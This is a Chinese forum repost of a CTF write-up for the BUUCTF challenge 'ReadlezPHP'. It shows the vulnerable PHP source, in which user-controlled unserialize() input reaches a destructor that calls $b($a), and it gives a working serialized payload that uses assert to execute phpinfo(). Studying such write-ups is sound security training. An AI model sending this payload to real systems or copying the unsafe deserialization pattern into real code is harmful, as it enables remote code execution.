找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 71|回复: 0

BUUCTF靶场56 -- [NPUCTF2020]ReadlezPHP

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-13 16:44:33 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场56 -- [NPUCTF2020]ReadlezPHP


打开环境,没有发现,最后在源码中找到:


点击跳转得到源码:

[PHP] 纯文本查看 复制代码
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


代码审计:

分析代码创建了一个类,其中有两个变量:a,b;初始赋值为a = "Y-m-d h:i:s";b = "date";一看就知道是用date函数显示时间,最后结束以echo $b($a);的形式执行语句,也就是说如果将$b赋值为函数,$a赋值为命令,就能执行我们想执行的命令。

看到最后是@$ppp = unserialize($_GET["data"]);意思是要GET传入序列化后的值,我们就执行一下phpinfo()构造:

传入后还是只显示了时间,说明system函数应该是被过滤处理了,那就用其他的函数,经过尝试发现assert函数能用,那么传入:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}


执行成功,在页面搜索flag就得到了答案:



学到了:
flag也可能在phpinfo里


from: https://blog.csdn.net/qq_52907838/article/details/119174455
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 09:36

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表